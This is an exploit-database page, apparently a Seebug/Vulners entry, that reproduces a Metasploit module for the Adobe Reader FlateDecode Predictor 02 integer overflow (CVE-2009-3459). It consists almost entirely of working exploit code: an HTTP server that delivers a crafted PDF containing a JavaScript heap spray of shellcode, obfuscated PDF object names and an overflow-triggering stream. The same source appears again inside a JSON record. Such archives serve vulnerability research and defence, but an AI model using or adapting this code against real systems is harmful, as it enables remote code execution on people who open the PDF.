Search...

Adobe FlateDecode Stream Predictor 02 Integer Overflow

2014-07-01T00:00:00

ID SSV:71060
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                ##
# $Id: adobe_flatedecode_predictor02.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;
require &#39;zlib&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Adobe FlateDecode Stream Predictor 02 Integer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits an integer overflow vulnerability in Adobe Reader and Adobe
				Acrobat Professional versions before 9.2.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;unknown&#39;, # Found in the wild
					# Metasploit version by:
					&#39;jduck&#39;,
					&#39;jabra&#39;
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 10394 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2009-3459&#39; ],
					[ &#39;BID&#39;, &#39;36600&#39; ],
					[ &#39;OSVDB&#39;, &#39;58729&#39; ],
					[ &#39;URL&#39;, &#39;http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html&#39; ],
					[ &#39;URL&#39;, &#39;http://www.adobe.com/support/security/bulletins/apsb09-15.html&#39; ],
					[ &#39;URL&#39;, &#39;http://www.fortiguard.com/analysis/pdfanalysis.html&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 1024,
					&#39;BadChars&#39;      =&#62; &#34;\x00&#34;,
					&#39;DisableNops&#39;    =&#62; true
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					# test results (on Windows XP SP3)
					# reader 7.0.5 - untested
					# reader 7.0.8 - untested
					# reader 7.0.9 - untested
					# reader 7.1.0 - untested
					# reader 7.1.1 - untested
					# reader 8.0.0 - untested
					# reader 8.1.2 - untested
					# reader 8.1.3 - untested
					# reader 8.1.4 - untested
					# reader 8.1.5 - untested
					# reader 8.1.6 - untested
					# reader 9.0.0 - untested
					# reader 9.1.0 - works!
					# reader 9.2 - not vulnerable
					[ &#39;Adobe Reader Windows Universal (JS Heap Spray)&#39;,
						{
							&#39;Size&#39;      =&#62; ((1024*1024) - 32)
						}
					],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Oct 08 2009&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Make some nops
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Randomize variables
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)

		script = %Q|
var #{rand1} = unescape(&#34;#{shellcode}&#34;);
var #{rand2} = unescape(&#34;#{nops}&#34;);
while (#{rand2}.length &#60; #{target[&#39;Size&#39;]}) #{rand2} += #{rand2};
#{rand2} = #{rand2}.substring(0, #{target[&#39;Size&#39;]} - #{rand1}.length);
memory = new Array();
for(i = 0; i &#60; 128; i++) { memory[i]= #{rand2} + #{rand1}; }
|
		# Create the pdf
		pdf = make_pdf(script)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		send_response(cli, pdf, { &#39;Content-Type&#39; =&#62; &#39;application/pdf&#39; })

		handler(cli)

	end

	def RandomNonASCIIString(count)
		result = &#34;&#34;
		count.times do
			result &#60;&#60; (rand(128) + 128).chr
		end
		result
	end

	def ioDef(id)
		&#34;%d 0 obj&#34; % id
	end

	def ioRef(id)
		&#34;%d 0 R&#34; % id
	end

	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
	def nObfu(str)
		result = &#34;&#34;
		str.scan(/./u) do |c|
			if rand(2) == 0 and c.upcase &#62;= &#39;A&#39; and c.upcase &#60;= &#39;Z&#39;
				result &#60;&#60; &#34;#%x&#34; % c.unpack(&#34;C*&#34;)[0]
			else
				result &#60;&#60; c
			end
		end
		result
	end

	def ASCIIHexWhitespaceEncode(str)
		result = &#34;&#34;
		whitespace = &#34;&#34;
		str.each_byte do |b|
			result &#60;&#60; whitespace &#60;&#60; &#34;%02x&#34; % b
			whitespace = &#34; &#34; * (rand(3) + 1)
		end
		result &#60;&#60; &#34;&#62;&#34;
	end

	def make_flate_data()

		# NOTE: this data is from the original, in-the-wild exploit...
		# on 9.1.0 xpsp3, this causes a crash executing 0x70000000
		# that&#39;s not exactly a fun address to try to heap spray to
		bpc = 1
		data = &#34;\x00\x00\x20\x00\x00\x00\x10&#34;

		# this way, we can adjust dwords on the heap by 8-bits of data..
		# this leads to eip being around 0x1000xxxx, much more friendly
		bpc = 8
		addend = 9
		data = &#34;\x00&#34; * 64
		data[18,1] = [addend].pack(&#39;C&#39;)
		data[51,1] = [addend].pack(&#39;C&#39;)

		return bpc, data
	end


	def make_pdf(js)

		xref = []
		eol = &#34;\x0d\x0a&#34;
		endobj = &#34;endobj&#34; &#60;&#60; eol

		# Randomize PDF version?
		pdf = &#34;%PDF-1.5&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;%&#34; &#60;&#60; RandomNonASCIIString(4) &#60;&#60; eol

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(1) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Catalog/Outlines &#34;) &#60;&#60; ioRef(2)
		pdf &#60;&#60; nObfu(&#34;/Pages &#34;) &#60;&#60; ioRef(3)
		pdf &#60;&#60; nObfu(&#34;/OpenAction &#34;) &#60;&#60; ioRef(5)
		pdf &#60;&#60; &#34;&#62;&#62;&#34; &#60;&#60; endobj

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(2) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Outlines/Count 0&#62;&#62;&#34;) &#60;&#60; endobj

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(3) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Pages/Kids[&#34;) &#60;&#60; ioRef(4) &#60;&#60; nObfu(&#34;]/Count 1&#62;&#62;&#34;) &#60;&#60; endobj

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(4) &#60;&#60; nObfu(&#34;&#60;&#60;/Contents &#34;) &#60;&#60; ioRef(7)
		pdf &#60;&#60; nObfu(&#34;/Type/Page/Parent &#34;) &#60;&#60; ioRef(3) &#60;&#60; nObfu(&#34;/MediaBox[0 0 612 792]&#62;&#62;&#34;) &#60;&#60; endobj

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(5) &#60;&#60; nObfu(&#34;&#60;&#60;/Type/Action/S/JavaScript/JS &#34;) + ioRef(6) + &#34;&#62;&#62;&#34; &#60;&#60; endobj

		xref &#60;&#60; pdf.length
		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
		pdf &#60;&#60; ioDef(6) &#60;&#60; nObfu(&#34;&#60;&#60;/Length %s/Filter[/FlateDecode/ASCIIHexDecode]&#62;&#62;&#34; % compressed.length) &#60;&#60; eol
		pdf &#60;&#60; &#34;stream&#34; &#60;&#60; eol
		pdf &#60;&#60; compressed &#60;&#60; eol
		pdf &#60;&#60; &#34;endstream&#34; &#60;&#60; eol
		pdf &#60;&#60; endobj

		# generate data for inside the flate&#39;d stream
		bits_per_component, data = make_flate_data()
		compressed = Zlib::Deflate.deflate(data)

		xref &#60;&#60; pdf.length
		pdf &#60;&#60; ioDef(7) &#60;&#60; nObfu(&#34;&#60;&#60;/DecodeParms&#34;)
		pdf &#60;&#60; nObfu(&#34;&#60;&#60;/Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s&#62;&#62;&#34; % bits_per_component)
		pdf &#60;&#60; nObfu(&#34;/Length %s/Filter/FlateDecode&#62;&#62;&#34; % compressed.length)
		pdf &#60;&#60; &#34;stream&#34; &#60;&#60; eol
		pdf &#60;&#60; compressed &#60;&#60; eol
		pdf &#60;&#60; &#34;endstream&#34; &#60;&#60; eol
		pdf &#60;&#60; endobj

		xrefPosition = pdf.length
		pdf &#60;&#60; &#34;xref&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;0 %d&#34; % (xref.length + 1) &#60;&#60; eol
		pdf &#60;&#60; &#34;0000000000 65535 f&#34; &#60;&#60; eol
		xref.each do |index|
			pdf &#60;&#60; &#34;%010d 00000 n&#34; % index &#60;&#60; eol
		end
		pdf &#60;&#60; &#34;trailer&#34; &#60;&#60; nObfu(&#34;&#60;&#60;/Size %d/Root &#34; % (xref.length + 1)) &#60;&#60; ioRef(1) &#60;&#60; &#34;&#62;&#62;&#34; &#60;&#60; eol
		pdf &#60;&#60; &#34;startxref&#34; &#60;&#60; eol
		pdf &#60;&#60; xrefPosition.to_s() &#60;&#60; eol
		pdf &#60;&#60; &#34;%%EOF&#34; &#60;&#60; eol

	end

end

JSON Vulners Source

Initial Source

{"lastseen": "2017-11-19T15:46:25", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "status": "cve,poc,details", "enchantments": {"score": {"value": 0.7, "vector": "NONE", "modified": "2017-11-19T15:46:25", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T15:46:25", "rev": 2}, "vulnersScore": 0.7}, "href": "https://www.seebug.org/vuldb/ssvid-71060", "references": [], "enchantments_done": [], "id": "SSV:71060", "title": "Adobe FlateDecode Stream Predictor 02 Integer Overflow", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 4, "sourceData": "\n ##\r\n# $Id: adobe_flatedecode_predictor02.rb 10394 2010-09-20 08:06:27Z jduck $\r\n##\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be subject to\r\n# redistribution and commercial restrictions. Please see the Metasploit\r\n# Framework web site for more information on licensing and terms of use.\r\n# http://metasploit.com/framework/\r\n##\r\n\r\nrequire 'msf/core'\r\nrequire 'zlib'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n\tRank = GoodRanking\r\n\r\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\r\n\r\n\tdef initialize(info = {})\r\n\t\tsuper(update_info(info,\r\n\t\t\t'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',\r\n\t\t\t'Description' => %q{\r\n\t\t\t\t\tThis module exploits an integer overflow vulnerability in Adobe Reader and Adobe\r\n\t\t\t\tAcrobat Professional versions before 9.2.\r\n\t\t\t},\r\n\t\t\t'License' => MSF_LICENSE,\r\n\t\t\t'Author' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t'unknown', # Found in the wild\r\n\t\t\t\t\t# Metasploit version by:\r\n\t\t\t\t\t'jduck',\r\n\t\t\t\t\t'jabra'\r\n\t\t\t\t],\r\n\t\t\t'Version' => '$Revision: 10394 $',\r\n\t\t\t'References' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t[ 'CVE', '2009-3459' ],\r\n\t\t\t\t\t[ 'BID', '36600' ],\r\n\t\t\t\t\t[ 'OSVDB', '58729' ],\r\n\t\t\t\t\t[ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ],\r\n\t\t\t\t\t[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ],\r\n\t\t\t\t\t[ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ],\r\n\t\t\t\t],\r\n\t\t\t'DefaultOptions' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'EXITFUNC' => 'process',\r\n\t\t\t\t},\r\n\t\t\t'Payload' =>\r\n\t\t\t\t{\r\n\t\t\t\t\t'Space' => 1024,\r\n\t\t\t\t\t'BadChars' => "\\x00",\r\n\t\t\t\t\t'DisableNops' => true\r\n\t\t\t\t},\r\n\t\t\t'Platform' => 'win',\r\n\t\t\t'Targets' =>\r\n\t\t\t\t[\r\n\t\t\t\t\t# test results (on Windows XP SP3)\r\n\t\t\t\t\t# reader 7.0.5 - untested\r\n\t\t\t\t\t# reader 7.0.8 - untested\r\n\t\t\t\t\t# reader 7.0.9 - untested\r\n\t\t\t\t\t# reader 7.1.0 - untested\r\n\t\t\t\t\t# reader 7.1.1 - untested\r\n\t\t\t\t\t# reader 8.0.0 - untested\r\n\t\t\t\t\t# reader 8.1.2 - untested\r\n\t\t\t\t\t# reader 8.1.3 - untested\r\n\t\t\t\t\t# reader 8.1.4 - untested\r\n\t\t\t\t\t# reader 8.1.5 - untested\r\n\t\t\t\t\t# reader 8.1.6 - untested\r\n\t\t\t\t\t# reader 9.0.0 - untested\r\n\t\t\t\t\t# reader 9.1.0 - works!\r\n\t\t\t\t\t# reader 9.2 - not vulnerable\r\n\t\t\t\t\t[ 'Adobe Reader Windows Universal (JS Heap Spray)',\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Size' => ((1024*1024) - 32)\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t],\r\n\t\t\t\t],\r\n\t\t\t'DisclosureDate' => 'Oct 08 2009',\r\n\t\t\t'DefaultTarget' => 0))\r\n\tend\r\n\r\n\tdef autofilter\r\n\t\tfalse\r\n\tend\r\n\r\n\tdef check_dependencies\r\n\t\tuse_zlib\r\n\tend\r\n\r\n\tdef on_request_uri(cli, request)\r\n\t\treturn if ((p = regenerate_payload(cli)) == nil)\r\n\r\n\t\t# Encode the shellcode.\r\n\t\tshellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\r\n\r\n\t\t# Make some nops\r\n\t\tnops = Rex::Text.to_unescape(make_nops(4))\r\n\r\n\t\t# Randomize variables\r\n\t\trand1 = rand_text_alpha(rand(100) + 1)\r\n\t\trand2 = rand_text_alpha(rand(100) + 1)\r\n\r\n\t\tscript = %Q|\r\nvar #{rand1} = unescape("#{shellcode}");\r\nvar #{rand2} = unescape("#{nops}");\r\nwhile (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};\r\n#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);\r\nmemory = new Array();\r\nfor(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }\r\n|\r\n\t\t# Create the pdf\r\n\t\tpdf = make_pdf(script)\r\n\r\n\t\tprint_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")\r\n\r\n\t\tsend_response(cli, pdf, { 'Content-Type' => 'application/pdf' })\r\n\r\n\t\thandler(cli)\r\n\r\n\tend\r\n\r\n\tdef RandomNonASCIIString(count)\r\n\t\tresult = ""\r\n\t\tcount.times do\r\n\t\t\tresult << (rand(128) + 128).chr\r\n\t\tend\r\n\t\tresult\r\n\tend\r\n\r\n\tdef ioDef(id)\r\n\t\t"%d 0 obj" % id\r\n\tend\r\n\r\n\tdef ioRef(id)\r\n\t\t"%d 0 R" % id\r\n\tend\r\n\r\n\t#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/\r\n\tdef nObfu(str)\r\n\t\tresult = ""\r\n\t\tstr.scan(/./u) do |c|\r\n\t\t\tif rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'\r\n\t\t\t\tresult << "#%x" % c.unpack("C*")[0]\r\n\t\t\telse\r\n\t\t\t\tresult << c\r\n\t\t\tend\r\n\t\tend\r\n\t\tresult\r\n\tend\r\n\r\n\tdef ASCIIHexWhitespaceEncode(str)\r\n\t\tresult = ""\r\n\t\twhitespace = ""\r\n\t\tstr.each_byte do |b|\r\n\t\t\tresult << whitespace << "%02x" % b\r\n\t\t\twhitespace = " " * (rand(3) + 1)\r\n\t\tend\r\n\t\tresult << ">"\r\n\tend\r\n\r\n\tdef make_flate_data()\r\n\r\n\t\t# NOTE: this data is from the original, in-the-wild exploit...\r\n\t\t# on 9.1.0 xpsp3, this causes a crash executing 0x70000000\r\n\t\t# that's not exactly a fun address to try to heap spray to\r\n\t\tbpc = 1\r\n\t\tdata = "\\x00\\x00\\x20\\x00\\x00\\x00\\x10"\r\n\r\n\t\t# this way, we can adjust dwords on the heap by 8-bits of data..\r\n\t\t# this leads to eip being around 0x1000xxxx, much more friendly\r\n\t\tbpc = 8\r\n\t\taddend = 9\r\n\t\tdata = "\\x00" * 64\r\n\t\tdata[18,1] = [addend].pack('C')\r\n\t\tdata[51,1] = [addend].pack('C')\r\n\r\n\t\treturn bpc, data\r\n\tend\r\n\r\n\r\n\tdef make_pdf(js)\r\n\r\n\t\txref = []\r\n\t\teol = "\\x0d\\x0a"\r\n\t\tendobj = "endobj" << eol\r\n\r\n\t\t# Randomize PDF version?\r\n\t\tpdf = "%PDF-1.5" << eol\r\n\t\tpdf << "%" << RandomNonASCIIString(4) << eol\r\n\r\n\t\txref << pdf.length\r\n\t\tpdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2)\r\n\t\tpdf << nObfu("/Pages ") << ioRef(3)\r\n\t\tpdf << nObfu("/OpenAction ") << ioRef(5)\r\n\t\tpdf << ">>" << endobj\r\n\r\n\t\txref << pdf.length\r\n\t\tpdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj\r\n\r\n\t\txref << pdf.length\r\n\t\tpdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj\r\n\r\n\t\txref << pdf.length\r\n\t\tpdf << ioDef(4) << nObfu("<</Contents ") << ioRef(7)\r\n\t\tpdf << nObfu("/Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj\r\n\r\n\t\txref << pdf.length\r\n\t\tpdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj\r\n\r\n\t\txref << pdf.length\r\n\t\tcompressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))\r\n\t\tpdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol\r\n\t\tpdf << "stream" << eol\r\n\t\tpdf << compressed << eol\r\n\t\tpdf << "endstream" << eol\r\n\t\tpdf << endobj\r\n\r\n\t\t# generate data for inside the flate'd stream\r\n\t\tbits_per_component, data = make_flate_data()\r\n\t\tcompressed = Zlib::Deflate.deflate(data)\r\n\r\n\t\txref << pdf.length\r\n\t\tpdf << ioDef(7) << nObfu("<</DecodeParms")\r\n\t\tpdf << nObfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)\r\n\t\tpdf << nObfu("/Length %s/Filter/FlateDecode>>" % compressed.length)\r\n\t\tpdf << "stream" << eol\r\n\t\tpdf << compressed << eol\r\n\t\tpdf << "endstream" << eol\r\n\t\tpdf << endobj\r\n\r\n\t\txrefPosition = pdf.length\r\n\t\tpdf << "xref" << eol\r\n\t\tpdf << "0 %d" % (xref.length + 1) << eol\r\n\t\tpdf << "0000000000 65535 f" << eol\r\n\t\txref.each do |index|\r\n\t\t\tpdf << "%010d 00000 n" % index << eol\r\n\t\tend\r\n\t\tpdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol\r\n\t\tpdf << "startxref" << eol\r\n\t\tpdf << xrefPosition.to_s() << eol\r\n\t\tpdf << "%%EOF" << eol\r\n\r\n\tend\r\n\r\nend\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-71060", "type": "seebug"}